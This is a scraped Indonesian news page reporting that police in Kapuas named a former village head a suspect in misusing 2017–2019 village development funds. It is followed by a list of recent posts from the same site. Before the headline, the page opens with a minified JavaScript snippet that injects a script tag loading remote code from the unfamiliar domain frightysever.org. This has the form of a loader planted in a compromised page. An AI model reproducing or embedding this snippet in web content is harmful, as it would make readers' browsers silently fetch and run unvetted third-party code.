(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Kades Kaburan Jadi Tersangka Korupsi Dana Desa


KANALKALIMANTAN.COM, KUALA KAPUASPolres Kapuas menggelar press realese pengungkapan beberapa kasus, bertempat di aula Tingang Menteng Panunjung Tarung Polres Kapuas, Rabu (21/9/2022).

Salah satunya adalah kasus dugaan tindak pidana korupsi pada pengelolaan dana desa di Desa Kaburan, Kecamatan Pasak Talawang, Kabupaten Kapuas tahun anggaran 2017 sampai dengan tahun 2019.

Dalam perkara ini, mantan Kepala Desa (Kades) Kaburan, berinisial TA telah ditetapkan sebagai tersangka dugaan korupsi dana desa tersebut.

Hal itu disampaikan Kapolres Kapuas AKBP Qori Wicaksono didampingi Kasatreskrim Iptu Iyudi Hartanto, Kapolsek Selat Kompol Permadi dan Kapolsek Kapuas Timur Iptu Eko Sutrisno.

 

Baca juga : BPS Tanbu Pendataan Awal Registrasi Sosial Ekonomi

“Tersangka (TA) pada saat menjabat kepala desa tahun 2015-2021 diduga telah melakukan penyimpangan terhadap pengelolaan dana desa di Desa Kaburan tahun anggaran 2017-2019 yang dialokasikan untuk pembangunan desa,” kata AKBP Qori Wicaksono.

Lanjut Kapolres Kapuas, kronologis kejadian itu bermula pada tahun 2017 sampai dengan 2019, Desa Kaburan mendapatkan anggaran dana desa sebesar Rp 2.258.701.000.

Rinciannya, tahun 2017 sebesar Rp 755.068.000, tahun 2018 sebesar Rp 709.748.000 dan Tahun 2019 sebesar Rp 793.885.000.

“Berdasarkan Rencana Penggunaan Dana (RPD) dana desa tersebut dipergunakan untuk kegiatan fisik dan non fisik, namun dalam pelaksanaanya pengelolaan dana desa dikelola sendiri oleh tersangka, tanpa melibatkan Tim Pelaksana Kegiatan (TPK) dana desa,” bebernya.

 

Baca juga  : Lapas Batulicin-Disnakertrans Tanbu Latih Warga Binaan Keterampilan Las

Kemudian, kas desa dikuasai sepenuhnya oleh tersangka tanpa melibatkan bendahara desa. Selain itu, tersangka juga diduga melakukan rekayasa dokumen pengajuan usulan pencairan tahapan dana desa dan adanya pengeluaran yang fiktif.

“Sehingga realisasi penggunaan dana tidak didukung dengan bukti yang lengkap dan benar,” ucap Kapolres Kapuas.

Akibat perbuatannya, pelaku akan dikenakan Pasal 2 ayat (1) atau Pasal 3 Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 Jo Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

9 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

10 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

11 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

18 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

20 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

21 jam ago

This website uses cookies.